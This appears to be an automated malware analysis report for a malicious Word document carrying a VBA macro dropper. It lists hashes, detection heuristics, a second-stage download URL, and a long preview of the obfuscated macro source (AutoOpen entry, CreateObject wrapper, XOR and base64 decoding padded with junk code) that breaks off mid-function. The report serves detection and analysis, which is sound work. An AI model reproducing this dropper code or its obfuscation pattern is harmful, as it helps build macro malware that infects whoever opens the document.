Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 978fb5864b54bf1a…

MALICIOUS

Office (OLE)

122.0 KB Created: 2018-06-13 01:35:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: caeb9ffe8f8968dc2e8edbe0118aa0e7 SHA-1: f5c8afc1e12ba848e486131a5e3a8d5f93867f8f SHA-256: 978fb5864b54bf1a9cc08ee0cdae06e4e59eda30779706dd9587dd43bc22e678
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro utilizes CreateObject, a common technique for launching malicious code, and the ClamAV heuristic identifies it as a dropper. The embedded URL, http://molamola.net/wp-content/plugins/ubh/invoice.png, is likely used to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6583376-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6583376-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    Lx4I7TpV = P42lelXw(ActiveDocument.CustomDocumentProperties(SJCIIbw.QgzFe5b8Zl40.Caption).Value)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function Snro0w(BWEO4jGmC1 As String) As Object
    Set Snro0w = CreateObject(BWEO4jGmC1)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://molamola.net/wp-content/plugins/ubh/invoice.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 150678 bytes
SHA-256: 8a36c9f76ddda9ff80bf47497584c02d01d94bb5e4830f331d8606ff5479e7b3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
438 of 850 identifiers look randomly generated (e.g. 'd040098d554ed9b75d28325df7a766') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Y4wNZmplwC"
Public Function pulkLcnEkvq(ByRef Dy0oUA1jC As String, ByVal sz2xER9u As String) As String
Dim YiGPPwj() As Byte
If Len(Application.UserName) < 469 Then
Dim zQfojJV As Collection
End If
If Len(Application.UserName) < 195 Then
Dim fWHDjPIOPw As Collection
End If
If Len(Application.UserName) < 437 Then
Dim IviKIXYAss As Collection
End If
Dim YHfOnCU() As Byte
Dim SIpwII7 As String
For sRc1PzfZ = 0 To 5
SIpwII7 = SIpwII7 + "e"
Next sRc1PzfZ
Dim AjdiC1 As String
For i1ZEQoNmHw = 0 To 7
AjdiC1 = AjdiC1 + "f"
Next i1ZEQoNmHw
For TVa1mI0Uh6 = 0 To 7
i8zyeYDldi = i8zyeYDldi + TVa1mI0Uh6
Next TVa1mI0Uh6
Dim IDehOk4nXU As Long
Dim MlqYJcElY As String
For PmUadJaC80 = 0 To 5
MlqYJcElY = MlqYJcElY + "e"
Next PmUadJaC80
Dim UHsQswXbB, trdkanyv As Integer
UHsQswXbB = 6 + 5
For FCk0Adp = 0 To 8
trdkanyv = trdkanyv + FCk0Adp
Next FCk0Adp
If trdkanyv < FCk0Adp Then
Dim lAOv5QDl3H As Long
End If
Dim KOTknlZi As Long
For ylYeDKZPqd = 0 To 7
dSlGLR = dSlGLR + ylYeDKZPqd
Next ylYeDKZPqd
Dim UXzMxrR As String
For WRZgUY5l = 0 To 6
UXzMxrR = UXzMxrR + "b"
Next WRZgUY5l
Dim NYqmCqY79 As String
For eVZS36 = 0 To 5
NYqmCqY79 = NYqmCqY79 + "o"
Next eVZS36
Dim eV7iBo16Ey As Long
For QnfrVLL = 0 To 8
U268L375 = U268L375 + QnfrVLL
Next QnfrVLL
Dim WIszDP5 As String
For kl9p0ZUib = 0 To 7
WIszDP5 = WIszDP5 + "v"
Next kl9p0ZUib
Dim WaJf6W As String
For YW93u3n6g = 0 To 7
WaJf6W = WaJf6W + "v"
Next YW93u3n6g
Dim vmJ5lBn As Long
Dim ywlvVR As String
For ZVRm98eW = 0 To 9
ywlvVR = ywlvVR + "m"
Next ZVRm98eW
If Application.UserName = "BzmJ5WvMVub" Then
MsgBox ("vaJO5C0bGwJ")
Else
Dim ftv5yYSrTdWDZa As String
ftv5yYSrTdWDZa = Application.UserName
End If
If Len(Application.UserName) < 821 Then
Dim KAhQAYL As Collection
End If
YiGPPwj = StrConv(Dy0oUA1jC, vbFromUnicode)
For YWIEPJv81L = 0 To 5
spMSiso = spMSiso + YWIEPJv81L
Next YWIEPJv81L
Dim t4ipmV8 As Long
For LEIcnUxnR = 9 To 15
t4ipmV8 = t4ipmV8 + LEIcnUxnR
Next LEIcnUxnR
Dim rbqtlpHS8 As String
For hXeBET5 = 0 To 8
rbqtlpHS8 = rbqtlpHS8 + "O"
Next hXeBET5
IDehOk4nXU = UBound(YiGPPwj)
Dim rMV7XD As String
For s5g6fhVSOU = 0 To 6
rMV7XD = rMV7XD + "l"
Next s5g6fhVSOU
Dim KO6SLQHt As String
For oXVRgco5T = 0 To 7
KO6SLQHt = KO6SLQHt + "T"
Next oXVRgco5T
Dim emzRDEzmN As String
For hTmRSECF = 0 To 8
emzRDEzmN = emzRDEzmN + "U"
Next hTmRSECF
YHfOnCU = StrConv(sz2xER9u, vbFromUnicode)
For F27D7Px = 0 To 6
ifB2LTamro = ifB2LTamro + F27D7Px
Next F27D7Px
Dim hya012 As Long
For rK3uMaRg4M = 8 To 15
hya012 = hya012 + rK3uMaRg4M
Next rK3uMaRg4M
KOTknlZi = UBound(YHfOnCU)
Dim waiAYUBoO, Wvqfaggl3 As Integer
waiAYUBoO = 6 + 5
For te6SkPiYS = 0 To 7
Wvqfaggl3 = Wvqfaggl3 + te6SkPiYS
Next te6SkPiYS
If Wvqfaggl3 < te6SkPiYS Then
Dim qsEQh6dOj As Long
End If
For eV7iBo16Ey = 0 To IDehOk4nXU
YiGPPwj(eV7iBo16Ey) = YiGPPwj(eV7iBo16Ey) Xor YHfOnCU(vmJ5lBn)
Dim j0eL8q As String
For EiEjK6 = 0 To 5
j0eL8q = j0eL8q + "b"
Next EiEjK6
If Len(Application.UserName) < 645 Then
Dim wiBe6bfqTx As Collection
End If
If vmJ5lBn < KOTknlZi Then
For cSXBTPCwpS = 0 To 7
gSspqJC = gSspqJC + cSXBTPCwpS
Next cSXBTPCwpS
vmJ5lBn = vmJ5lBn + 1
Dim oZCF0Vw2AC, ZNrJ9tjWT As Integer
oZCF0Vw2AC = 9 + 5
For lihJw8o6Y = 0 To 7
ZNrJ9tjWT = ZNrJ9tjWT + lihJw8o6Y
Next lihJw8o6Y
If ZNrJ9tjWT < lihJw8o6Y Then
Dim Kv3v84GI As Long
End If
Dim kkONbu, b0cWcgntET As Integer
kkONbu = 9 + 5
For zhzeSVy51e = 0 To 8
b0cWcgntET = b0cWcgntET + zhzeSVy51e
Next zhzeSVy51e
If b0cWcgntET < zhzeSVy51e Then
Dim R4G6TRT As Long
End If
Else
vmJ5lBn = 0
For VJG86N = 0 To 8
ZPWtAW = ZPWtAW + VJG86N
Next VJG86N
For uP2JoNfc = 0 To 5
MEh0KUzuDZ = MEh0KUzuDZ + uP2JoNfc
Next uP2JoNfc
If Len(Application.UserName) < 573 Then
Dim AoYN5TI As Collection
End If
End If
Dim CZnXzQ As String
For QhDo8iVMpi = 0 To 5
CZnXzQ = CZnXzQ + "e"
Next QhDo8iVMpi
Next eV7iBo16Ey
Dim DLqLdqpgw, y50NLDeZD As Integer
DLqLdqpgw = 5 + 7
For G675kVloUM = 0 To 9
y50NLDeZD = y50NLDeZD + G675kVloUM
Next G675kVloUM
If y50NLDeZD < G675kVloUM Then
Dim jRYC7ljo As Long
End If
For DzAgzddzlg = 0 To 9
im0JVlw = im0JVlw + DzAgzddzlg
Next DzAgzddzlg
For eoRbCl13va = 0 To 6
RpyoQO = RpyoQO + eoRbCl13va
Next eoRbCl13va
For PcWmlfc = 0 To 6
gTtI5M03b = gTtI5M03b + PcWmlfc
Next PcWmlfc
If Len(Application.UserName) < 457 Then
Dim X0EgZiMD As Collection
End If
pulkLcnEkvq = StrConv(YiGPPwj, vbUnicode)
Dim vnappv As String
For SKdV7AMf = 0 To 5
vnappv = vnappv + "r"
Next SKdV7AMf
Dim REsLizAxR As Long
For uR4CCGk0y = 8 To 18
REsLizAxR = REsLizAxR + uR4CCGk0y
Next uR4CCGk0y
Dim Ewiv8S As String
For zczQQNa = 0 To 9
Ewiv8S = Ewiv8S + "p"
Next zczQQNa
End Function
Public Function P42lelXw(ByVal THREE As String) As Byte()
   Dim eur5GQ3g As Integer, mIC5lKpYcV As Integer, Vs6anYMtJR9(0 To 63) As Byte, Xh0Uqsomo99(0 To 127) As Byte
If Len(Application.UserName) < 333 Then
Dim H5FhMQlElt As Collection
End If
   mIC5lKpYcV = 0
Dim vUlWRIM As String
For xUfKjNIKq = 0 To 7
vUlWRIM = vUlWRIM + "x"
Next xUfKjNIKq
For MDAwjiA = 0 To 5
q54tw8jwR = q54tw8jwR + MDAwjiA
Next MDAwjiA
Dim pyDEL1N As Long
For kvIQ6D6LO = 6 To 12
pyDEL1N = pyDEL1N + kvIQ6D6LO
Next kvIQ6D6LO
If Application.UserName = "ovWbbksT2b3" Then
MsgBox ("PYXpQVZFyZN")
Else
Dim YtBTmTMucB0zTG As String
YtBTmTMucB0zTG = Application.UserName
End If
   For eur5GQ3g = Asc("A") To Asc("Z"): Vs6anYMtJR9(mIC5lKpYcV) = eur5GQ3g: mIC5lKpYcV = mIC5lKpYcV + 1: Next
For Pic0XHsa = 0 To 9
XzrRZL = XzrRZL + Pic0XHsa
Next Pic0XHsa
Dim E26nINP4, ObzH5XzU As Integer
E26nINP4 = 8 + 6
For mFuU6H = 0 To 7
ObzH5XzU = ObzH5XzU + mFuU6H
Next mFuU6H
If ObzH5XzU < mFuU6H Then
Dim AW0v5G As Long
End If
Dim ONc2Dw As String
For yliw25IwW = 0 To 5
ONc2Dw = ONc2Dw + "l"
Next yliw25IwW
If Len(Application.UserName) < 364 Then
Dim MhAa98Su As Collection
End If
   For eur5GQ3g = Asc("a") To Asc("z"): Vs6anYMtJR9(mIC5lKpYcV) = eur5GQ3g: mIC5lKpYcV = mIC5lKpYcV + 1: Next
Dim MhcpXw, A7fPMMsh3 As Integer
MhcpXw = 5 + 6
For sQtNkM = 0 To 5
A7fPMMsh3 = A7fPMMsh3 + sQtNkM
Next sQtNkM
If A7fPMMsh3 < sQtNkM Then
Dim vXgc8C5uv As Long
End If
Dim iEhDasCSu As String
For ujfbkKkpn3 = 0 To 7
iEhDasCSu = iEhDasCSu + "C"
Next ujfbkKkpn3
If Application.UserName = "xvnfpfV0MSx" Then
MsgBox ("msoWSmEvNZP")
Else
Dim YdrbotuL6YxEuq As String
YdrbotuL6YxEuq = Application.UserName
End If
   For eur5GQ3g = Asc("0") To Asc("9"): Vs6anYMtJR9(mIC5lKpYcV) = eur5GQ3g: mIC5lKpYcV = mIC5lKpYcV + 1: Next
Dim RtLZ5pTie, OrK7TP As Integer
RtLZ5pTie = 6 + 7
For WBm7HMZOp = 0 To 5
OrK7TP = OrK7TP + WBm7HMZOp
Next WBm7HMZOp
If OrK7TP < WBm7HMZOp Then
Dim mpLcPKZgE As Long
End If
Dim plJzUjh, ZMST19OQ3J As Integer
plJzUjh = 5 + 6
For yPqdPxRX = 0 To 5
ZMST19OQ3J = ZMST19OQ3J + yPqdPxRX
Next yPqdPxRX
If ZMST19OQ3J < yPqdPxRX Then
Dim c30FEM As Long
End If
Dim K4wZA4KD As Long
For igkhX6ETJ = 9 To 14
K4wZA4KD = K4wZA4KD + igkhX6ETJ
Next igkhX6ETJ
Dim nRJ1G6KX As String
For kVewNgxUq = 0 To 7
nRJ1G6KX = nRJ1G6KX + "U"
Next kVewNgxUq
Dim JPyPgy As String
For lnMff3 = 0 To 5
JPyPgy = JPyPgy + "E"
Next lnMff3
   Vs6anYMtJR9(mIC5lKpYcV) = Asc("+"): mIC5lKpYcV = mIC5lKpYcV + 1
Dim UUzYdyk As String
For g59ErZlGK8 = 0 To 9
UUzYdyk = UUzYdyk + "c"
Next g59ErZlGK8
Dim eFsNTah, mA3r9l82U As Integer
eFsNTah = 7 + 6
For CWYn7IW = 0 To 9
mA3r9l82U = mA3r9l82U + CWYn7IW
Next CWYn7IW
If mA3r9l82U < CWYn7IW Then
Dim Z23Hxc5 As Long
End If
Dim U62xcrp5zl As String
For M4ErL5R = 0 To 7
U62xcrp5zl = U62xcrp5zl + "f"
Next M4ErL5R
Dim j27v02 As String
For qvSLMj6Qq = 0 To 8
j27v02 = j27v02 + "C"
Next qvSLMj6Qq
For HaoRhqNMf = 0 To 6
GaLSH3U = GaLSH3U + HaoRhqNMf
Next HaoRhqNMf
   Vs6anYMtJR9(mIC5lKpYcV) = Asc("/"): mIC5lKpYcV = mIC5lKpYcV + 1
Dim os4EeQ As String
For Rli2tyVw5 = 0 To 9
os4EeQ = os4EeQ + "A"
Next Rli2tyVw5
Dim EnLkYD As String
For OdLWSnWT = 0 To 7
EnLkYD = EnLkYD + "f"
Next OdLWSnWT
Dim oxZi0FpR As String
For ANJFyCz9 = 0 To 8
oxZi0FpR = oxZi0FpR + "I"
Next ANJFyCz9
   For mIC5lKpYcV = 0 To 127: Xh0Uqsomo99(mIC5lKpYcV) = 255: Next
For nrXvB2V0D8 = 0 To 9
aThE4XU = aThE4XU + nrXvB2V0D8
Next nrXvB2V0D8
Dim Y2xpgzcBL As String
For EsARM0HS2 = 0 To 5
Y2xpgzcBL = Y2xpgzcBL + "O"
Next EsARM0HS2
For yPbk4q = 0 To 9
lzmpuEta = lzmpuEta + yPbk4q
Next yPbk4q
Dim QHRNNQ As String
For cOJ3Q4 = 0 To 7
QHRNNQ = QHRNNQ + "E"
Next cOJ3Q4
Dim XkTSSsTG, nYmlvwnNf As Integer
XkTSSsTG = 7 + 7
For g6u0cO = 0 To 7
nYmlvwnNf = nYmlvwnNf + g6u0cO
Next g6u0cO
If nYmlvwnNf < g6u0cO Then
Dim dPIotVo8r As Long
End If
Dim DmELEKbd3N As String
For ruTfGm = 0 To 9
DmELEKbd3N = DmELEKbd3N + "u"
Next ruTfGm
   For mIC5lKpYcV = 0 To 63: Xh0Uqsomo99(Vs6anYMtJR9(mIC5lKpYcV)) = mIC5lKpYcV: Next
Dim wNVewrEi As String
For FoJwedfIi = 0 To 7
wNVewrEi = wNVewrEi + "r"
Next FoJwedfIi
Dim dn9giP As String
For heb9KcoD = 0 To 5
dn9giP = dn9giP + "t"
Next heb9KcoD
Dim e4jGSDFO, YIuTPV As Integer
e4jGSDFO = 5 + 7
For CF2gfRu = 0 To 7
YIuTPV = YIuTPV + CF2gfRu
Next CF2gfRu
If YIuTPV < CF2gfRu Then
Dim qhrRig4Xs1 As Long
End If
For U3LquF = 0 To 8
yx5ge2y = yx5ge2y + U3LquF
Next U3LquF
Dim WEWKI5mDF2 As String
For GNEf8g = 0 To 5
WEWKI5mDF2 = WEWKI5mDF2 + "D"
Next GNEf8g
If Application.UserName = "JyXL7sEiryo" Then
MsgBox ("QEGBqWHVfm6")
Else
Dim vTBiFbgHMdWmTp As String
vTBiFbgHMdWmTp = Application.UserName
End If
   Dim ea57fVXX() As Byte: ea57fVXX = StrConv(THREE, vbFromUnicode)
For R9ihdH = 0 To 9
CswvNpQ = CswvNpQ + R9ihdH
Next R9ihdH
Dim oitJy8 As String
For PFOTnAq = 0 To 6
oitJy8 = oitJy8 + "T"
Next PFOTnAq
Dim guEIMioV As String
For NTWFmLkO = 0 To 8
guEIMioV = guEIMioV + "n"
Next NTWFmLkO
   Dim NINE As Long: NINE = UBound(ea57fVXX) + 1
Dim B7cKgvphMh As String
For KWWx0pqE = 0 To 5
B7cKgvphMh = B7cKgvphMh + "o"
Next KWWx0pqE
For pFW2NrF = 0 To 6
IOJ9XL3 = IOJ9XL3 + pFW2NrF
Next pFW2NrF
Dim FYHEPaHtZ As String
For hWb8TkyaXv = 0 To 8
FYHEPaHtZ = FYHEPaHtZ + "L"
Next hWb8TkyaXv
Dim GlxLqo As String
For chOrURJ = 0 To 6
GlxLqo = GlxLqo + "c"
Next chOrURJ
   Do While NINE > 0
Dim b05sU2nmm As String
For mr8ikg = 0 To 7
b05sU2nmm = b05sU2nmm + "W"
Next mr8ikg
For EmcsPtzJ = 0 To 6
JqpWTBFM7 = JqpWTBFM7 + EmcsPtzJ
Next EmcsPtzJ
      If ea57fVXX(NINE - 1) <> Asc("=") Then Exit Do
Dim RMjbds0k As String
For ZOMf22VvVz = 0 To 8
RMjbds0k = RMjbds0k + "B"
Next ZOMf22VvVz
Dim jL9H5bkvn As Long
For wrY7keMiz = 5 To 15
jL9H5bkvn = jL9H5bkvn + wrY7keMiz
Next wrY7keMiz
If Len(Application.UserName) < 585 Then
Dim TfzrtC As Collection
End If
      NINE = NINE - 1
Dim xGqau3lY, CPq6ghzPIM As Integer
xGqau3lY = 9 + 5
For JbvB6A8 = 0 To 9
CPq6ghzPIM = CPq6ghzPIM + JbvB6A8
Next JbvB6A8
If CPq6ghzPIM < JbvB6A8 Then
Dim VGIQ5Zij As Long
End If
Dim LyDIqfC3 As String
For zMIhpkH = 0 To 6
LyDIqfC3 = LyDIqfC3 + "o"
Next zMIhpkH
Dim tJPRUVeZUw, Ue3jv3o As Integer
tJPRUVeZUw = 7 + 5
For SPZJXJJSsO = 0 To 5
Ue3jv3o = Ue3jv3o + SPZJXJJSsO
Next SPZJXJJSsO
If Ue3jv3o < SPZJXJJSsO Then
Dim AU0F5l1A As Long
End If
Dim r5st0Kh, k3eebA4 As Integer
r5st0Kh = 9 + 9
For K0GxPEJq = 0 To 7
k3eebA4 = k3eebA4 + K0GxPEJq
Next K0GxPEJq
If k3eebA4 < K0GxPEJq Then
Dim llTCiOZ As Long
End If
      Loop
Dim bPq3eD8TKU As String
For cw0rlUcL = 0 To 8
bPq3eD8TKU = bPq3eD8TKU + "B"
Next cw0rlUcL
If Application.UserName = "DsW7wrBfevq" Then
MsgBox ("OZYZR7UHB4d")
Else
Dim k3WZoBmdiCddeQ As String
k3WZoBmdiCddeQ = Application.UserName
End If
   Dim TEN As Long: TEN = (NINE * 3) \ 4
Dim h8TL342 As String
For aDOtKoFDB = 0 To 8
h8TL342 = h8TL342 + "E"
Next aDOtKoFDB
   Dim ELEVEN() As Byte
Dim SFpJsmU As String
For xclU2Q = 0 To 5
SFpJsmU = SFpJsmU + "t"
Next xclU2Q
Dim BWZhw5H As Long
For B0mbeu = 8 To 14
BWZhw5H = BWZhw5H + B0mbeu
Next B0mbeu
Dim ZqbY4Hq, LS7vcUo As Integer
ZqbY4Hq = 9 + 6
For bT7oi6ySGq = 0 To 5
LS7vcUo = LS7vcUo + bT7oi6ySGq
Next bT7oi6ySGq
If LS7vcUo < bT7oi6ySGq Then
Dim rziWSKb As Long
End If
If Len(Application.UserName) < 326 Then
Dim vfGkC4uLlv As Collection
End If
   ReDim ELEVEN(0 To TEN - 1) As Byte
Dim bv1xMjyJa4 As String
For RzGnYHt = 0 To 5
bv1xMjyJa4 = bv1xMjyJa4 + "D"
Next RzGnYHt
Dim kYwweZbFM As String
For bZQ8Ir = 0 To 7
kYwweZbFM = kYwweZbFM + "J"
Next bZQ8Ir
If Application.UserName = "GiXfoIUiHl5" Then
MsgBox ("AJ3Ds8j1GBk")
Else
Dim BezaaNoU00O6hb As String
BezaaNoU00O6hb = Application.UserName
End If
   Dim TWELVE As Long
Dim FAp2Mu As String
For WbkSVtF = 0 To 5
FAp2Mu = FAp2Mu + "c"
Next WbkSVtF
Dim IilmEu As String
For Z7ERr0 = 0 To 8
IilmEu = IilmEu + "J"
Next Z7ERr0
Dim eHnPZs As Long
For IJAmoWRU = 9 To 12
eHnPZs = eHnPZs + IJAmoWRU
Next IJAmoWRU
Dim Tf9Dp8lJq, pkeyvV5Wam As Integer
Tf9Dp8lJq = 9 + 5
For JRlhjb = 0 To 7
pkeyvV5Wam = pkeyvV5Wam + JRlhjb
Next JRlhjb
If pkeyvV5Wam < JRlhjb Then
Dim homW21SQXT As Long
End If
Dim uI63Dp9HwF, ov4eO6fj0Q As Integer
uI63Dp9HwF = 7 + 5
For UkyP3pjCg = 0 To 8
ov4eO6fj0Q = ov4eO6fj0Q + UkyP3pjCg
Next UkyP3pjCg
If ov4eO6fj0Q < UkyP3pjCg Then
Dim nnsDVlZ6 As Long
End If
For G2UFn1 = 0 To 7
OyHT3Z9S = OyHT3Z9S + G2UFn1
Next G2UFn1
Dim a8zBXTt As Long
For Hn77OQLB = 9 To 14
a8zBXTt = a8zBXTt + Hn77OQLB
Next Hn77OQLB
For ppWyVD = 0 To 5
E9z0mah = E9z0mah + ppWyVD
Next ppWyVD
   Dim TWENTYmIC5lKpYcV As Long
Dim etTZ0WLZ5A As String
For eOTQwX = 0 To 6
etTZ0WLZ5A = etTZ0WLZ5A + "I"
Next eOTQwX
   Do While TWELVE < NINE
Dim WI3MaV5pn As String
For J4APo6FuvV = 0 To 8
WI3MaV5pn = WI3MaV5pn + "G"
Next J4APo6FuvV
Dim ZiBOpbl8 As Long
For kQ3SEW = 6 To 13
ZiBOpbl8 = ZiBOpbl8 + kQ3SEW
Next kQ3SEW
      Dim THIRTEEN As Byte: THIRTEEN = ea57fVXX(TWELVE): TWELVE = TWELVE + 1
Dim C52xLs As Long
For OYezi14 = 9 To 12
C52xLs = C52xLs + OYezi14
Next OYezi14
For LveU7Jj11U = 0 To 6
fH56Ya5 = fH56Ya5 + LveU7Jj11U
Next LveU7Jj11U
Dim qq1r6Uj3XQ As String
For g4zTkdH2 = 0 To 9
qq1r6Uj3XQ = qq1r6Uj3XQ + "p"
Next g4zTkdH2
If Len(Application.UserName) < 747 Then
Dim gJIINFIGf As Collection
End If
      Dim FIFTEEN As Byte: FIFTEEN = ea57fVXX(TWELVE): TWELVE = TWELVE + 1
Dim BUd7DabsX As Long
For O8p5b8KoVu = 5 To 16
BUd7DabsX = BUd7DabsX + O8p5b8KoVu
Next O8p5b8KoVu
Dim dhKodH2W As Long
For cRhvWiVp = 9 To 15
dhKodH2W = dhKodH2W + cRhvWiVp
Next cRhvWiVp
Dim gNqBF9OhG As String
For fjXIXNwB4K = 0 To 7
gNqBF9OhG = gNqBF9OhG + "h"
Next fjXIXNwB4K
For oVFGfJ = 0 To 8
nsIBrTIhOV = nsIBrTIhOV + oVFGfJ
Next oVFGfJ
Dim Zm7CYjGvM9 As String
For tzaunz8La = 0 To 7
Zm7CYjGvM9 = Zm7CYjGvM9 + "L"
Next tzaunz8La
If Len(Application.UserName) < 828 Then
Dim cOsWPV As Collection
End If
If Len(Application.UserName) < 842 Then
Dim PVtykzVP As Collection
End If
If Application.UserName = "zchQFY70cnS" Then
MsgBox ("Cf9P1tytoek")
Else
Dim FQe3pDcXJhGDHc As String
FQe3pDcXJhGDHc = Application.UserName
End If
      Dim Vs6anYMtJR9TEEN As Byte: If TWELVE < NINE Then Vs6anYMtJR9TEEN = ea57fVXX(TWELVE): TWELVE = TWELVE + 1 Else Vs6anYMtJR9TEEN = Asc("A")
Dim Tl00px, eMLBTVO As Integer
Tl00px = 7 + 7
For oEiX8yfTu6 = 0 To 6
eMLBTVO = eMLBTVO + oEiX8yfTu6
Next oEiX8yfTu6
If eMLBTVO < oEiX8yfTu6 Then
Dim eAwSD0 As Long
End If
Dim JMKbDMo, JAnemT0B6v As Integer
JMKbDMo = 5 + 7
For Wtxf9JTV = 0 To 5
JAnemT0B6v = JAnemT0B6v + Wtxf9JTV
Next Wtxf9JTV
If JAnemT0B6v < Wtxf9JTV Then
Dim JdudpdU As Long
End If
Dim KbyWKqMH, ZICcyzy As Integer
KbyWKqMH = 7 + 9
For w2HobhHa = 0 To 9
ZICcyzy = ZICcyzy + w2HobhHa
Next w2HobhHa
If ZICcyzy < w2HobhHa Then
Dim csZm0cuMo As Long
End If
Dim pyVDPt7 As Long
For XIlWsL7sA = 9 To 13
pyVDPt7 = pyVDPt7 + XIlWsL7sA
Next XIlWsL7sA
      Dim YtzjB4igW As Byte: If TWELVE < NINE Then YtzjB4igW = ea57fVXX(TWELVE): TWELVE = TWELVE + 1 Else YtzjB4igW = Asc("A")
      Dim ea57fVXXTEEN As Byte: ea57fVXXTEEN = Xh0Uqsomo99(THIRTEEN)
Dim x3G9QvfJLZ As Long
For lQ1fsZFw4 = 5 To 11
x3G9QvfJLZ = x3G9QvfJLZ + lQ1fsZFw4
Next lQ1fsZFw4
Dim vBxv5ri As Long
For hLgq9C3 = 6 To 11
vBxv5ri = vBxv5ri + hLgq9C3
Next hLgq9C3
If Application.UserName = "TgOl85Hmeeb" Then
MsgBox ("WC9LxJ5DIZB")
Else
Dim LKEc6CpI6n455h As String
LKEc6CpI6n455h = Application.UserName
End If
If Len(Application.UserName) < 465 Then
Dim S8rnP4U As Collection
End If
      Dim NINETEEN As Byte: NINETEEN = Xh0Uqsomo99(FIFTEEN)
Dim J0snlI6Fl As Long
For POQt2tU = 8 To 11
J0snlI6Fl = J0snlI6Fl + POQt2tU
Next POQt2tU
If Application.UserName = "kefXgV1VYYv" Then
MsgBox ("HbqWghysf6E")
Else
Dim pgDXZgphIY0Q3Z As String
pgDXZgphIY0Q3Z = Application.UserName
End If
      Dim TWENTY As Byte: TWENTY = Xh0Uqsomo99(Vs6anYMtJR9TEEN)
For mJbVAfN5r = 0 To 9
sMLrcmr3 = sMLrcmr3 + mJbVAfN5r
Next mJbVAfN5r
For xSMhGXUYy = 0 To 5
YizzR9Mi1R = YizzR9Mi1R + xSMhGXUYy
Next xSMhGXUYy
Dim fgymYiX0 As String
For JETE7N = 0 To 7
fgymYiX0 = fgymYiX0 + "Q"
Next JETE7N
      Dim TWENTYP42lelXw As Byte: TWENTYP42lelXw = Xh0Uqsomo99(YtzjB4igW)
Dim I1zF3RtkSG As String
For wlENwp5 = 0 To 8
I1zF3RtkSG = I1zF3RtkSG + "H"
Next wlENwp5
Dim MdMwHuWlL As Long
For dcr5txDb9v = 5 To 16
MdMwHuWlL = MdMwHuWlL + dcr5txDb9v
Next dcr5txDb9v
Dim qBImlxFq8 As Long
For Bhu6ft = 9 To 18
qBImlxFq8 = qBImlxFq8 + Bhu6ft
Next Bhu6ft
Dim WTI98uB As Long
For AE6gYk = 5 To 15
WTI98uB = WTI98uB + AE6gYk
Next AE6gYk
For a3hj95C9T = 0 To 8
H2LOqH4 = H2LOqH4 + a3hj95C9T
Next a3hj95C9T
If Application.UserName = "wC5oZCJGW9r" Then
MsgBox ("Do2WlYviFMR")
Else
Dim gGavbWZvfHhAso As String
gGavbWZvfHhAso = Application.UserName
End If
      Dim TWENTYwgGmlyuRGV As Byte: TWENTYwgGmlyuRGV = (ea57fVXXTEEN * 4) Or (NINETEEN \ &H10)
Dim JzLbCxt As Long
For c6I4NfsOdI = 6 To 14
JzLbCxt = JzLbCxt + c6I4NfsOdI
Next c6I4NfsOdI
Dim kuCfheSVS As String
For ryZxNBADSJ = 0 To 5
kuCfheSVS = kuCfheSVS + "Z"
Next ryZxNBADSJ
Dim y1IVBsta As Long
For mle8OF3Tb = 5 To 14
y1IVBsta = y1IVBsta + mle8OF3Tb
Next mle8OF3Tb
Dim qC2QnWzm As String
For HxnzCWFJVH = 0 To 6
qC2QnWzm = qC2QnWzm + "N"
Next HxnzCWFJVH
      Dim ZQfZaehf As Byte: ZQfZaehf = ((NINETEEN And &HF) * &H10) Or (TWENTY \ 4)
Dim O0f0uMLR As Long
For NBqtbeqp = 5 To 13
O0f0uMLR = O0f0uMLR + NBqtbeqp
Next NBqtbeqp
Dim luz7hD37d As Long
For F8oBitix = 5 To 15
luz7hD37d = luz7hD37d + F8oBitix
Next F8oBitix
For LOx3K5Q95Z = 0 To 8
vgAfso = vgAfso + LOx3K5Q95Z
Next LOx3K5Q95Z
Dim qZHIeN, Zs0cYZsv As Integer
qZHIeN = 6 + 5
For aLuRurbho = 0 To 7
Zs0cYZsv = Zs0cYZsv + aLuRurbho
Next aLuRurbho
If Zs0cYZsv < aLuRurbho Then
Dim jCqYbeD As Long
End If
Dim upVOqTEIM As String
For r1oBbB = 0 To 7
upVOqTEIM = upVOqTEIM + "d"
Next r1oBbB
If Len(Application.UserName) < 263 Then
Dim cZbgnju As Collection
End If
      Dim TWENTYeur5GQ3g As Byte: TWENTYeur5GQ3g = ((TWENTY And 3) * &H40) Or TWENTYP42lelXw
